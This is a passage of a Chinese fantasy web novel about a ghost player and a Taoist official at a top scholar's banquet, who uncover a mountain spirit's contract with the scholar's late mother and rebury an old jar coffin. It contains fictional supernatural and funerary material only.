把弓鸣丢给齐览,鱼宣一身轻松地直起腰。
女鬼有一个问题:“弓鸣受益于契约,冯时惜会怎么样?”
弓鸣能庇护冯时惜是因为它身为灵异的实力,冯时惜能满足弓鸣的要求不可能没有付出任何代价。
齐览淡淡道:“寡亲缘,犯孤星。”
鱼宣不明觉厉。
冯时惜的生身母亲也算是以命换命了。
难怪要认干亲,弓鸣把人家的亲缘占没了,可不得自己填上。
那弓鸣的成长止步于此,就说明——
“冯大人如今亲缘断尽了。”
这句话不是疑问,而是陈述。
金榜下无人问,就已经很能说明问题。
鱼宣打了个哈欠,眼前朦胧。
“为冯大人的差遣起太早,白日困乏万事蹉跎,我去补觉,午膳不必喊我。”
女鬼自顾自进了里屋,被丢下的齐览抓住山妖悄无声息绞上他双腿的尾巴,把它一整条揪出来拎着。
弓鸣偷鸡不成蚀把米,回过神时齐览已经带着它走出一段路了。
山妖奋力挣扎:“你做什么?敢背着大人对我动手的话她不会放过你的!你这阳奉阴违的小人!歹毒!险恶!”
青年停下,把弓鸣换了个方向拎到面前。
他神色淡漠得让人心惊,一字一顿地重复:“她、不、会、放、过、我?”
“好啊,那试试看。”
鱼宣完美地睡过了饭点。
不过,“状元府今夜摆宴,送了请帖来。”
女鬼迷迷糊糊地眯着眼:“不是昨日才回来吗?这么着急?”
“不着急,弓鸣县上下已经筹备半月。”
齐览立在床边:“要换身衣裳赴宴吗?”
鱼宣转头看见一排侍女和她们手上的各式华服。
她随手指了一件青绿色的。
宴会是肯定要去的,但鱼宣是玩家,对拉拢冯时惜毫无兴趣,穿得不那么扎眼才能在角落里安心观察。
等她穿戴好出来,齐览也换了一身同色系的圆领窄袖袍衫。
鱼宣失策了。
她光知道冯时惜是宴会的主角,没想到齐览是这儿最大的官。
看着周围一圈来寒暄的宾客,女鬼非常后悔与齐览走在一起。
早知如此,他们分开走让齐览吸引火力不就好了。
这么想着,鱼宣便往另一边走,谁料围过来的宾客也自发地兵分两路。
女鬼面前的路被女眷们堵得水泄不通。
“齐大人今日来吩咐过,让我家老爷备几件幼童的衣裳,不知娘子喜欢什么样的?”
鱼宣记得自己上午才交代过这回事,不由得感慨NPC落实工作的效率。
“有劳了,”鱼宣客气道,“齐大人既然放手给你家那位安排,自然是信任他的眼光,我就不多嘴了。”
女眷们一对眼,在彼此脸上看出了然。
“恭贺娘子喜得麟儿!”
此起彼伏的祝贺声中,鱼宣皱眉转头看向不远处正与几人周旋的齐览。
耳聪目明的青年道长不可能听不到这边的动静。
他也转过头来,很快明白这群人因自己的吩咐产生误会。
青年道长心虚地偷偷瞟鱼宣的脸色。
鱼宣闭了闭眼。
玩家如果要跟NPC较真,就会丧失很多乐趣。
而
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且,女眷们消息如此灵通,倒是提醒她了。
鱼宣悄悄直了直腰:“多谢诸位,只是我家姑娘已五岁了,今日的喜事轮不上我,文曲星才最要紧。”
那位起头的夫人惊讶道:“怪我,听信儿只听一半。幸好与娘子说了一嘴,否则出了岔子真不知道怎么谢罪。”
女鬼的目光在她面上停留片刻。
齐览在这儿人生地不熟,遇事除了找驿官不做他想。
从这位的话里判断,她应该就是驿官瞿青的夫人。
女眷们的关注点随着鱼宣的话转移。
状元府的主人好不容易穿过人墙,结果自投罗网,和齐览一起站在那儿寸步难行。
不过作为东家,冯时惜可以名正言顺地招呼客人。
“诸位大人,各位乡亲,今儿赏脸来一趟,怎么不进去坐坐?这儿可没摆席面。”
人群里一阵应和声,这才慢慢往里挪。
鱼宣趁乱开了隐匿,跟着女眷们的方向走。
等她们再回过头来想找鱼宣攀谈时,已经寻不见人了。
少一个人并不影响女眷们的发挥,她们很快找好自己的位置,在正式开宴前进行例行的社交活动。
“今日来的伏灵使,就是昨日入住驿府那位吧。”
“是,”驿官夫人状似埋怨,“我家老爷这几日忙上忙下,早出晚归,总算叫我办事,竟险些出错。”
“瞿大人这一阵辛苦,我们都看在眼里,这不是说清了吗?没真出事就好。”
“今日算我们陪你一同闹个乌龙,娘子肯提点便是不怪罪,你且放宽心。”
鱼宣听着,暗暗点头。
就算真送了襁褓来也无所谓,她好歹是个绣娘,动动手不是难事。
另一边谈论起宴会的东家来。
“从前冯大人日子难过,多亏食珍楼的芹娘子照拂,咱们弓鸣县才没埋没状元。”
“芹娘子风骨卓然,半月前县丞夫人去探望,她一句无功不受禄把东西全送回去了。”
“冯大人一路风尘,才下马就接了芹娘子来,现下就住在状元府。”
鱼宣听了一耳朵,消息有近几日也有远的,零零总总能把冯时惜和符芹的过往拼凑个大概。
院子里突兀地安静下来。
鱼宣从思绪里回神,抬眼看去。
方才交谈中的主人公之一符芹出现在众女眷面前。
她身后半步跟着符庄。
符芹福了福身:“冯大人嘱咐我来与诸位作陪,以免怠慢夫人小姐们。”
话是这么说,在场的谁不知道冯时惜对符芹礼遇有加。
“哪儿的话?能与芹娘子解闷就是我们的福气了。”
“不知冯大人启蒙时读哪些书?我正愁启蒙先生的事,想与娘子讨教。”
比起直接拉拢冯时惜,和符芹攀关系是更好走的一条路。
弓鸣县叫的上名字的今晚都在这儿,大多都想双管齐下。
毕竟,等过了今晚,他们再想见冯时惜可就不一定排得上号了。
符芹身边热热闹闹,鱼宣却把注意力放在了稍显局促的符庄身上。
符芹的人际关系太简单,符庄这个学徒的身世早就被这些人查得一干二净,自然不乏有同龄的小姐受了指示去接近她。
女鬼坐上屋顶,确保自己有足够广阔全面的视野。
她饶有兴致地观察难掩羞怯的符庄。
不知道符芹对冯时惜和符庄的教导,是不是用的同一套路数呢?
期望的方向不同还好,要是照着冯时惜的老路走——
有珠玉在前,师出同门的符庄可不好过啊。
39. 第 39 章
鱼宣对符芹这个角色的内核终于有了初步认知。
冯时惜要走仕途,符芹就教导她做国之肱骨。
女鬼又问:“那符庄呢?”
冯时惜脸上的薄红已经淡去,她摇头:“阿庄的路要她自己选,芹娘子从来不强迫于人。”
全往一条路上赶,那是养牲畜,不是育人。
鱼宣对此不意外。
符芹那模样,一看就是每天以最低能耗度日,对待冯时惜和符庄顶多当个助力推一把,真要费劲拉扯,可没有现在这精气神。
“那她选的,是哪条路?”
冯时惜表示自己爱莫能助:“我光顾着关门读书,与阿庄见面都少,打听这种事做什么?”
鱼宣若有所思。
“此事不难,娘子果真好奇,之后去问她本人就是,”冯时惜见她沉默,主动邀请,“宴会来往是有些无聊,不如我领着娘子去齐大人身边?”
女鬼不明白“无聊”和“找齐览”之间有什么必然联系。
鱼宣对觥筹交错的场合敬谢不敏:“我还是更喜欢和冯大人在这儿待着。”
背景故事已经收集得很充分了。
与其去听那些没营养的话,不如在关键人物身上下功夫。
冯时惜轻笑:“荣幸之至,但恐怕我不能陪娘子了。”
鱼宣从冯时惜的眼中看出揶揄,不明所以地顺着她的目光转头。
几步之外,齐览安静立在鱼宣身后。
冯时惜读空气很在行,当即告辞:“齐大人这位撑场子的跑出来,我再不赶回去得被传闲话了。”
她溜之大吉。
与此同时,齐览也朝着鱼宣走过来。
齐览和冯时惜换岗似的擦肩而过。
女鬼后知后觉:她隐匿之前没跟NPC打招呼。
但是鱼宣并不心虚。
当时情况不允许嘛。
人多就算了,盯着他们的眼睛也多。
尤其是齐览,在宾客们眼里简直是生钱的金猪,被看得紧紧的。
这时候她跟他靠近点都能被波及。
开隐匿得时机合适,一个大活人突然消失肯定会引起注意。
弃车保帅很正常,齐览不会不理解。
事实如鱼宣所料,在官场里打个滚出来顽石也学成三分油滑,她做事的逻辑,齐览细想就通透。
“第三次了,鱼宣。”
鱼宣知道他在说什么。
NPC在抱怨她又不带他玩。
女鬼叹气:“你要数的话,以后还有第四第五次。”
灵异本变数最多,她能在上路前把人带上就算记性好,把NPC拴腰带上显然是不现实的。
青年道长郁闷的情绪都被女鬼理直气壮的摆烂打断。
眼看NPC被自己说懵了,鱼宣又添把火:“几面墙的距离,你若有心自己就能来,难道不是你丢下我去喝酒了?”
齐览无从辩驳。
他照着女鬼的说法捋了一遍:酒,他喝了。若说被人纠缠走不开,冯时惜这个东家都走得开,他一个应邀前来的客人,想走也不过一句话的事。
青年的表情从委屈,到沉思,最后愧疚。
怎么会这样?他从前不是这么无理取闹倒打一耙的人。
NPC被绕晕,鱼宣很满意,她见好就收:“好了,你就在这儿醒醒酒,真喝多了我可不会管一个醉鬼。”
齐览小声抗议:“你喝醉的时候,我没有不管你。”
他是说桃源镇那回。
鱼宣竖起食指在青年眼前晃了晃:“不能这么算。”
“我那是不胜酒力,只沾了一口,”女鬼指了指齐览,“而你,你是自作自受,把自己灌成这副神志不清的样子。这是两回事。”
青年心虚,声音慢慢低下去:“我本来也不想喝……”
怕鱼宣觉得自己在找借口,又慌忙找补:“他们说的都是祝福的好话,酒不能不接。”
小孩一样好懂。
鱼宣摇摇头,戳破他:“是不能,还是不想?”
“……不想。”
齐览回想起来都脸热。
被挑着软肋,他实在无法拒绝。
那些人说,看不出他们竟是少年夫妻,孩子都这么大了,还蜜里调油一样难舍难分。
也有人说,他们伉俪情深。
鱼宣觉得齐览好不容易被冷风吹清明点的脑子又犯迷糊了。
女鬼很头疼,她真怕哪天NPC被人几句话哄成胚胎了。
“你爱听什么我回去说给你听,把你的脑子留着干正事,行吗?”
被别人骗不如被她骗。
玩家只是要他打白工,其他NPC可不定憋着什么坏呢。
青年温顺点头。
鱼宣不会跟他说那些话的,他知道。
但齐览也看得出来,她对于他醉酒很反感。
从前在京城,宴会劝酒轮不上他,他也没有饮酒的习惯,对自己的酒量没预期。
早知道就问方逢玉要解酒丹了。
鱼宣看他又垂着头不知道在琢磨什么,估计他正处于神游状态。
本来就卡,现在还变得又卡又钝。
“齐大人,灵力解酒要怎么做?”
齐览凝视她。
药包今早交给厨房,一天下来,齐览已经喝了三碗药。
他算半个病人,涉及灵力使用当然最好由鱼宣来。
解酒其实没必要,齐览现在是清醒的。
青年摊开右手:“你的灵力极寒,在我体内游走一圈就够我灵台清明了。”
鱼宣搭上他的手。
NPC都说是极寒了,用力过猛真会出事的。
鱼宣酝酿一会儿,放出细细一缕,从他们相扣的手传递过去,钻入齐览的身体。
能修道,对灵力的感知是前提。
常人被灵异攻击,最多觉得森冷,等到有明显不适时已经无力回天。
道士更敏感些。
齐览现在的感受无异于被往经脉里塞冰块。
鱼宣不知道齐览所谓的“走一圈”是按什么算,不过她照着他的轮廓画完一个火柴人时,他眉毛都湿漉漉。
她收了手。
得亏她只会简笔画,线条再复杂点NPC都要失温了。
女鬼拿齐览的袖子给他擦了擦。
“够清醒了?”
“嗯。”
鱼宣确定了NPC只是纯粹地冷,没有被冻出内伤,放下心来。
一回生二回熟,她刚刚控制得比上次给齐览治发烧要好多了。
不过今天熬的三碗药算是白喝。
鱼宣在复盘手法的时候,齐览清清爽爽,脑子也运转起来。
“冯时惜找你做什么?”
东家走得突然,没有谁会忽视她,何况齐览就在旁边亲眼目睹冯时惜找借口离场。
鱼宣能猜到冯时惜是发现她过来,所以特意找个没人的地方方便她现身。
但齐览把不高兴写在脸上,如果鱼宣直言冯时惜是来跟她双向奔赴的,就会得到一个不高兴的NPC。
对推本没影响,不过沟通起来有点障碍。
齐览好像总是跟半灵胎过不去。
鱼宣反问:“你不喜欢冯大人?”
女鬼问得很直白。
青年道长点完头才想起来组织语言解释,眼睛连眨好几下。
在鱼宣追问之前,他先开口:“没有为什么。”
疑心,不安,嫉妒。
不管是什么理由,都只会让鱼宣觉得他莫名其妙。
鱼宣:“哦。”
她也没问啊。
“问题不大,出了弓鸣县之后我们很难与她见面了。”
冯时惜是半灵胎,本就容易招惹灵异,即使她有些应对的小伎俩,但皇帝还没有糊涂到让状元去伏灵司。
看齐览就知道了,风里来雨里去的,还要跟玩家这样可怕的女鬼相伴而行。
鱼宣想,要不是自己是玩家,最开始就不会把齐览救醒。
昏在乱葬岗,他十死无生。
齐览被外派到地方,当地尊他为座上宾是因为他代表来自京城的旨意,真要论起来,冯时惜往后走得比他远。
而鱼宣,推本结束登出之后除非重开,否则也不可能再与冯时惜见面了。
但剧本杀模式的游戏可玩性有限,开第二遍相当于开挂,乐趣少很多。
所以,冯时惜完全是个副本限定角色,齐览不喜欢就不喜欢吧。
齐览追问:“我们何时启程?”
这下轮到鱼宣卡顿。
女鬼看了看进度条,尴尬而不失礼貌地笑了笑:“没这么快。”
一人一鬼重新出现在众人面前时,宴会也正式开始。
冯时惜首先迎上来:“我还疑心是齐大人不肯与我们共饮,原来是挂心娘子。”
鱼宣顺着她给的台阶下:“扰了各位雅兴,只是他旧伤未愈,才喝上药,忌酒。”
话都说到这份上,再劝酒就是没脑子了。
冯时惜看了看四周,见还有几人蠢蠢欲动,赶紧开口打个样:“无碍无碍,齐大人身体要紧。”
在齐览这个伏灵使面前还可以放肆点,灌了酒好说话,她虽是东家,也要顾及邻里乡亲,不好阻拦。<
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但鱼宣都跟过来了,这形影不离的关系,能不罩着他才怪。
冯时惜大好年华前途无量,她还没活够呢,可不敢跟这姑奶奶大小声。
东家起头,其他人也应和着告罪,把齐览要坐的主桌上的酒水撤了个干干净净。
有心思活络的,轻易看出冯时惜对鱼宣谨慎过了头。
没有人会在这个时候没眼色地问鱼宣这个“伏灵使夫人”为什么从女眷那边过来。
女鬼带着齐览落座在冯时惜身边,悄悄附耳道:“冯大人,菜上齐了吗?”
鱼宣从女眷那边出来的时候还没开宴。
谁能想到她在墙头几步路的功夫,两边都吃上了。
不过他们光顾着敬酒,席面还完完整整。
她的意思明晃晃。
冯时惜领悟得很快。
“齐了,娘子不必拘礼。”
鱼宣当然不会在饭桌上客气,她示意齐览动筷。
坐得最显眼的三位依次伸了筷子,宾客们才重新活跃起来。
冯时惜的态度摆在这,宾客们细想之下就知道话题不能再往齐览身上引。
状元宴,当然要逮着状元聊。
鱼宣边吃,边竖起耳朵筛选新鲜的信息。
弓鸣县总共这么些人,冯时惜认干亲的事不是秘密。
“我就知道老头子没说胡话,小冯命格不凡,幼时常引鬼物也无恙,路上往来奔赴我们还忧心,所幸吉人自有天相,不仅平安归来,还考取功名。”
鱼宣敏锐侧头。
这话并非出自主桌这一圈人之口,而是从最远处的一桌传来。
看装束并非显赫,鱼宣扫过几个熟面孔。
是食珍楼的那几位账房先生。
没人注意那边,他们也不往前凑,反倒能敞开了聊。
也有没见过的人,听着像是冯时惜的邻里。
“小冯苦尽甘来,她娘在底下也能安安心心去投胎了。”
“当年芝娘子咽气前最放心不下就是小冯,拜托我们一定照看她,那时小冯才到咱腰这点高,一眨眼就长这么大了。”
“芝娘子是有福气的人,她当年出棺,那条蛇我们几个都记得。”
蛇?
鱼宣凝神往下听。
“咱活几十年,头一回见蛇又是掉眼泪又是磕头的,芝娘子一定结了大善缘,如今报在小冯身上了。”
蛇弔。
传说蛇通人性,会为死者吊丧,被认为是此人有福的祥兆。
“当前进度:35%(剧情探索达到60%将解锁支线)”
鱼宣总算想起来自己忘了什么。
她转头看向坐得板板正正的青年道长,压低声音问:“齐大人,弓鸣呢?”
齐览答:“安置在驿府了。”
鱼宣回想了一下,自己刚醒就收到赴宴的消息,这种场合也不方便带弓鸣,把它留在驿府确实是最好的选择。
不在纠结这点,鱼宣接着问:“你觉得,弓鸣就是那条给芝娘子吊丧的蛇的概率,有几成?”
“九成。”
齐览说九成,那这事就板上钉钉。
鱼宣觉得自己有必要找这只不诚实的山妖谈谈心了。
想了一路要怎么盘问山妖的女鬼在看到被齐览从云纹银碗里放出来的软趴趴一长条时,一时默然。
鱼宣挑眉:“银碗是法器?”
她今早拿在手上的时候怎么没有系统提示?
齐览摇头:“我加了符印。”
女鬼离银碗远了点。
齐览收起银碗,把完全蛇化的弓鸣捞起来端到鱼宣面前。
“弓鸣?”
弓鸣提不起劲,强撑着一口气告状:“大人,他背着您擅自把我困在这里,使我无法伴您左右。”
鱼宣宽慰它:“没关系,人类的宴会你本来也不能去。”
弓鸣:……
弓鸣不放弃:“大人,我头晕。”
齐览解释:“我加的符印对灵异没有伤害效果,只有一个封闭空间供它活动,在里面频繁兜圈产生疲乏是正常的。”
弓鸣狠狠瞪他。
它那不是兜圈,是挣扎!
这人把它封进去根本就是奔着宰蛇去的!那时他可不是现在这副嘴脸!
“那没事,”鱼宣点点山妖的蛇脑袋,“我问几句话就放你去休息,睡一觉就好了。”
弓鸣自我检查了一番,绝望地发现自己确实没有任何内外伤。
鱼宣看它萎靡不振,决定速战速决,免得山妖睡不好明天接着头晕。
“弓鸣,我问你,你与芝娘子有过什么交集?”
40. 第 40 章
弓鸣原本很激愤的情绪像被泼了一盆冷水,一下子熄火。
鱼宣捏捏蛇身:“不要装死。”
弓鸣:……
“她叫戴琼芝,是冯时惜的生母。”
山妖的身体慢慢蜷起来,盘成一圈圈,又逐渐变化出一半人身。
“我最初的灵体寸步难行,只能与本体一起困在原地。”
“弓鸣县自古易守难攻,靠的就是满弓之势,而我埋身之处,正是这张弓的箭羽。”
箭羽对箭矢发出后的方向与力度起至关重要的作用。
弓鸣不是天生的半人蛇,它是人。
一次改朝换代,君王的意志发生改变,想要使自己的国土最大程度上免于灵异侵扰。
国师献计,在弓鸣县依据地势布阵,可以形成斥外的风水,成为一道天然防线。
箭矢的调整格外重要。
在箭支上做调整伤筋动骨,不利于当地生息,最便捷的方法就是从箭羽入手。
羽轻且顺,箭矢利伐。
对于布阵,添比减容易。
于是在国君的蓝图上,弓鸣成了箭羽的一部分。
过去的经历距离弓鸣遇到戴琼芝已经过去很久。
这天它照常在清晨醒来。
它不能动,但作为一只灵异,微弱的灵力足够它发出声音。
山河是文明的见证者,人类的语言作为一种传承被赠给了它。
有人经过,它问:“没有腿怎么走路?”
山妖不是第一次向人类提出这个问题,但人们的第一反应是幻听,它重复,人们就逃跑。
这处地界的诡异一传十十传百,渐渐地就没有人来了。
这一次,那人给了它回应:“蛇没有腿,不也满地走吗?”
“……蛇?”
“尤其菜花蛇最厉害,所谓一里有菜花,十里无毒蛇,百蛇之王不外如是。”
山妖记住了。
但它很困惑:“你不怕我?”
“弓鸣县的灵异掀不起风浪,这是天注定。”
山妖懵懵懂懂。
那人走了。
山妖开始了许多年来的第一次化形,它那双未成形的腿变成了一条短短的尾巴。
得益于此,它爬出了本体。
附近的灵异别说神智,连攻击都不会。
山妖不会饿,但弱小的灵异本能地有变强的需求。
它敞开肚子把看到的灵异都吃了,终于不像之前那样爬两下都费劲。
这时来了一个背着大背篓的女人。
山妖才冒出头,就被拔了出来。
“道长,这是?”
老道士一手拎着山妖,一手捋着胡子:“是咱们弓鸣县的山神,把你家孩子托付给它,附近那些小鬼都不敢近身。”
戴琼芝壮着胆子取看山妖的模样:“山神?可是它看起来跟时惜刚出生的时候一样啊。”
老道士笑道:“芝娘子这样想也并无不妥。”
山妖记性很好,凭声音认出老道士就是点拨它化形的人。
它被拎着,只能甩甩尾巴:“你又来了?”
戴琼芝惊讶:“果真有灵,这么小的孩子都能说话了。”
老道士把山妖放到地上,问:“小友,这位娘子想请你帮个忙,不知道你肯不肯商量?”
山妖仰头看看这两人:“她能给我什么?”
老道士还没说话,戴琼芝就卸了背篓跪下来。
“您要什么,我都想法子,求求您救救我家娃娃。”
山妖发现了把自己牵引出来的诱因,爬过去趴在背篓边上往里看。
这个东西,比它之前吃的灵异都要让它有食欲。
戴琼芝想拦又不敢拦,只能求助老道士:“道长,这……”
老道士对山妖的反应早有预料,伸手把它捞回来。
“你也听到了,芝娘子想请你照看她的孩子,你有什么想要的?”
山妖不傻,知道背篓里的东西不可能给自己吃。
它指了指高烧昏迷的冯时惜:“我也能,长这么大?”
之前吃的灵异都与它长得完全不一样,好不容易来个鼻子是鼻子眼睛是眼睛的,结果比它大这么多。
戴琼芝迟疑:“山神之躯,我怎么……”
老道士打断她:“可以。”
戴琼芝疑惑又惶恐:“道长,我哪里有这个本事?”
老道士把山妖往她怀里一抛:“芝娘子把它带回屋养着就是,它与孩子待在一块,其他灵异即便是来了,也害不了人。”
戴琼芝喜出望外,抱着山妖就要磕头。
老道士却拦住她,示意她怀里的山妖:“去把你能带的东西带上。”
山妖于是溜出去往土里钻。
趁着这间隙,老道士说:“山神领回家不能无名无分,你给孩子认个亲吧。”
戴琼芝看见山妖的模样,几乎要把它当个小孩,这是脑子里首先冒出来的想法就是:给时惜认个妹妹。
老道士提醒:“给它认个亲切点的辈分,不然留不住。”
戴琼芝试探道:“那,请山神认时惜做干女儿吧。”
正好这时山妖捧着银碗回来。
老道士笑道:“有辈分的人了,可不能山神山神地叫,你有名字吗?”
山妖摇头。
老道士随意挥挥手:“你是弓鸣县的山神,这地方都是你的,名字给你用也无妨,你就叫弓鸣吧。”
弓鸣的传承里并没有这方面的常识,不知道灵异的名字是天然的束缚,欣然接受了老道士的提议。
契约需要名字、条款、双方认可。
弓鸣被老道士绕进去,在有名字之前就默认了认干亲的事实,一得名契约立成。
山妖眼中符印显现。
老道士一拍手:“成了。”
戴琼芝:……
总觉得自己占了山神的便宜。
戴琼芝遵从老道士的嘱咐,把弓鸣带回家养,家里每天的吃食也都给它备一份,直到戴琼芝去世。
“就是这样。”
鱼宣对叙述中的矛盾提出疑问:“你与冯大人同住一个屋檐下,为什么她平日没见过你?”
弓鸣拉着一张脸:“她怕蛇,我才吃掉缠着她的东西,她醒来看到我的尾巴又晕了。”
所以山妖只好躲着这个干女儿走。
逢年过节非要拜见,戴琼芝也给她蒙着眼。
鱼宣拿起银碗在手里转了转:“这个,也是你送给冯大人的?”
弓鸣:“……算是。”
鱼宣:“算是?”
弓鸣眼皮耷拉:“对我来说没用,不过人类喜欢银子,就给她了。”
女鬼若有所思,手中银碗倒扣在桌面上。
银子确实没人不喜欢。
鱼宣垂眼看它:“那你应该也知道,芝娘子为何身死。”
弓鸣更蔫了。
它半天也只吐出一句话:“我与她商量过解契。”
结果显而易见,戴琼芝没同意。
鱼宣暂且放过了身心备受打击的山妖。
“你回碗里待着。”
弓鸣不可置信,红瞳瞪得圆溜溜。
女鬼无视弓鸣的控诉,任由齐览将它重新塞进银碗。
齐览再抬头,鱼宣已经跨出门槛。
“走吧,齐大人。”
夜黑风高,街道上空空荡荡。
鱼宣循着记忆里的路线,来到早上唤出弓鸣的地方。
她并起两指,引灵力破开土层。
土层下显露出一只红泥封口的陶罐。
齐览:“是瓮棺。”
瓮棺是埋葬婴幼儿尸骨的葬具。
齐览把银碗倒扣在瓮棺的口子上。
大小正合适。
鱼宣觉出异样:“瓮棺该整个都是陶制,怎么会用银碗去盖?”
齐览敲了敲银碗碗底,补充:“而且银碗没有钻孔。”
瓮棺葬要求顶部倒扣的器具底部钻孔,作为死者灵魂出入的通道。
“把弓鸣的本体葬在这里的人,并不希望它的灵体出逃。”
鱼宣联想到弓鸣交代的过往。
“是地势阵?”
齐览点头。
他示意鱼宣看陶瓮的瓮身。
“孕胎一月有余,剖而葬之。”
这副瓮棺格外小,如襁褓般包裹着内部安放的尸身。
这里面不是死去的婴孩,而是一个不足两月的胎儿。
民间曾流传一种说法,人一旦落地,就红尘加身,活得越久,魂魄的重量和皮肤的沟壑越多。
上乘的箭羽,要轻且顺。
“当前进度:36%(剧情探索达到60%将解锁支线)”
鱼宣抿了抿发干的嘴巴。
这是一副不知道多少年前的瓮棺,当时的孕
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育这个胎儿的妇人如何痛苦没有人知道。
胎儿被剖而葬之,鱼宣不觉得妇人能被好心放过。
“我们把瓮棺挖出来,会有什么后果?”
齐览知道鱼宣想问什么:“地势阵不会受损,具备一定威胁性的灵异依旧无法进入弓鸣县。”
“只是箭矢的方向偏移,受保护的范围会跟着挪。”
鱼宣抬眼。
齐览轻描淡写地接着道:“京城会出现点麻烦。”
鱼宣收回目光。
那没事了。
弓鸣县人不多,祖上承自同一脉,专门有一片安葬当地人的山头。
鱼宣找了块空地,比划着钻了个坑,把瓮棺放进去,然后坐在一边的土堆上发呆。
这片坟地让女鬼有一种回到出生点的安心。
深更半夜的,精神太放松就容易睡过去。
齐览揣着从状元府拿的陶盆找过来时,女鬼已经窝在埋瓮棺的土坑旁把脑袋搁在腿上,眼阖着,很安详。
青年道长握住她指尖,柔声道:“鱼宣,借灵力一用。”
鱼宣从浅眠状态清醒过来,问:“做什么?”
齐览:“封口的红泥附着了封印。”
灵异中当属女鬼和婴灵难对付,干了亏心事心虚的人总是想得更周到。
为免活人过得不踏实,防患于未然很有必要。
鱼宣面无表情地将红泥连同封印一起破成渣,按住手边开始振动的银碗,把陶盆扣到瓮上。
再瞥一眼盆底的小孔,挥手把土坑填平。
“好了,收工。”
状元宴结束了,状元还在。
驿府与状元府相隔不远,从上午开始这条路上就车水马龙。
鱼宣知道了这一片都没有能打得过弓鸣的灵异之后,对冯时惜的安危已经不太担心了。
她现在之所以蹲在墙头,不是在盯状元,而是在盯状元的后院。
冯时惜忙着见客,符芹和符庄被食珍楼放了假,留在状元府。
空闲的日子里,符庄的早起第一课是书法。
院内摆出一张宽桌,给足了施展的余地。
鱼宣来的时候,桌上已经摆着一张写好的字。
“不是闲人闲不得,能闲必非等闲人。”
符芹在树下石桌沏茶。
鱼宣晃荡着两条腿,在那张字的墨迹干透时两手往后一撑从墙头落下。
符芹将茶杯朝对面一推。
鱼宣抬手稳稳接住:“芹娘子,这才多久没见,难为你如此热情好客。”
符芹转头看向符庄:“您不也带了东西上门吗?”
符庄原本握笔的手里现在换了一柄长枪,她接得很险,惊魂未定地望着这边。
她年纪轻,遇事下意识想要寻求符芹的帮助。
“一回生二回熟,我都第三回上门了,总不能空手来,”鱼宣放下茶杯,轻笑道,“芹娘子好茶艺。”
符芹神色未改:“娘子想问什么?”
鱼宣摇头:“我对你没有了解的必要。”
“那就我来问吧,”符芹望进鱼宣眼中,“伏灵使不顾回京复命,在此耽搁行程,所为何事?”
一上来就问这么尖锐的问题。
出公差路上慢了是可大可小的错处,冯时惜逮着机会参齐览一本也是可以的。
齐览这级别的官最怕的不是不受重用,而是太扎眼。
被新科状元盯上,等同于在皇帝眼中留了污点,齐览的官位顶天就到这儿了。
切中痛点,直击要害,对求取功名的人来说是很有效的威胁。
可惜符芹看走了眼,鱼宣和齐览这俩真就没一个在乎人间功名利禄事的。
“怎么能算耽搁?”鱼宣笑眯眯,“这不是昨儿才替状元解决一桩大事吗?”
招灵异喜欢的状元,在失去地势阵之后的京城是否能近天子身还需斟酌。
符芹深吸一口气。
“娘子不必迁怒时惜,我方才的话与她的心意毫无干系。”
鱼宣撇撇嘴。
这个NPC通人性也会认怂,就是有一点不好:自我又双标。
是谁先迁怒的?
伏灵使是软包子这件事难道很大众吗?
鱼宣充分展现了一个玩家应有的包容性,友好且耐心地告知自己的来意:“言归正传,我是听冯大人的话,来与阿庄谈谈心的,还请芹娘子行个方便。”
41. 第 41 章
符芹完全失去跟鱼宣进行口舌争锋的想法。
“您请随意。”
符芹搁下茶杯,起身离开。
鱼宣目送她走入屋内,朝符庄招招手。
“娘子,您认得我?”
在符庄的记忆里,这是她与鱼宣的初次见面。
对方指名道姓要跟自己聊却让符芹回避,这在符庄的意料之外。
“有所耳闻,”鱼宣没急着进入正题,抬了抬下巴,“送你的东西合心意吗?”
符庄顺着鱼宣的话看向手中长枪,不自觉往回收了收。
“娘子费心了。”
鱼宣心中已有猜测。
“坐。”
符庄把那长枪寻了个地方搁置,乖乖坐下。
她没在对面落座,而是选了鱼宣右手边的位置。
看穿符庄紧绷的状态,鱼宣安抚道:“不必太紧张,我与冯大人很投缘,也把你当妹妹看待。”
符庄稚嫩的脸上藏不住情绪,面对被符芹反复交代过要小心的鱼宣,眼珠转来转去,紧张到宕机。
鱼宣继续铺垫:“昨晚夜宴,我与她聊过,为与你有关的事论说不出结果。”
符庄肉眼可见地坐立不安。
“索性她让我来找本人,于是我就贸然登门了。”
符庄愣愣点头:“娘子有话,庄洗耳恭听。”
鱼宣这段时间跟冯时惜和符芹周旋久了,就乐意看符庄这种清澈的NPC,听话不费事儿。
她看这小姑娘越发顺眼,说话的语气都缓下来:“我问她,你们俩走的是不是同一条路。她说全凭你心意。”
符庄眨眨眼。
她对这个话题并不陌生,尤其是近一年来,凡是见了人没有不打听的。
鱼宣这么一长串说下来都口渴,简短直白地收尾:“于是我就来问你的心意了。”
符庄从外表上看与符芹是同一风格,清淡无味,暗藏机锋。
但鱼宣跟她几句话聊下来,结合昨晚,基本能摸清符庄是只披着狼皮的羊,就这狼皮还是符芹千辛万苦给她装点上的。
“娘子抬举我了,”符庄目光微垂,“我不比冯大人用功,只草草读过几本书,勉强应付平日里算算账,再多卖弄就要闹笑话了。”
鱼宣挑眉。
同样是符芹手底下教出来的,冯时惜稍微保守一点的回答都会被纠正,符庄却在收敛锋芒这条路上一骑绝尘。
符芹因材施教的根据真是令人捉摸不透。
冯时惜擅文,符芹就要求她晨起练武。
符庄倾向习武,便布置早间誊抄功课。
鱼宣手指点在桌面:“芹娘子对你们是一样的上心,你又未曾懈怠,不必看轻自己。”
符庄不再说反驳的话,眉目温顺地笑着应承。
对于NPC的严防死守,鱼宣有心理准备。
她决定另辟蹊径。
弓鸣昨天被闷坏了,鱼宣出门前特意叮嘱齐览把它放出来。
她回到驿府的时候,齐览站在湖中心的亭边。
鱼宣老远就望见湖面一圈圈涟漪。
女鬼动作一顿。
她出门前以为自己能在状元府蹭顿午饭,至少待两个时辰,于是告诉齐览中午不必备自己的份。
齐览答应得很痛快。
再过一阵就入夏,湖边花草茂盛,生机蓬勃。
但现在有几处坑坑洼洼嵌在其中。
鱼宣目测这些坑的大小与弓鸣的体型符合。
鱼宣:……
谁也没告诉她NPC不能放养啊。
女鬼轻飘飘地移动到齐览身后。
“齐大人,你在做什么?”
鱼宣发誓她从NPC的背影看出一丝僵硬。
齐览转过身。
她又问:“怎么不见弓鸣?”
水面波纹一圈圈荡开。
一条细长的菜花蛇才蹿起,就在半空碰撞到无形的屏障,重新跌落,溅起半人高的水花。
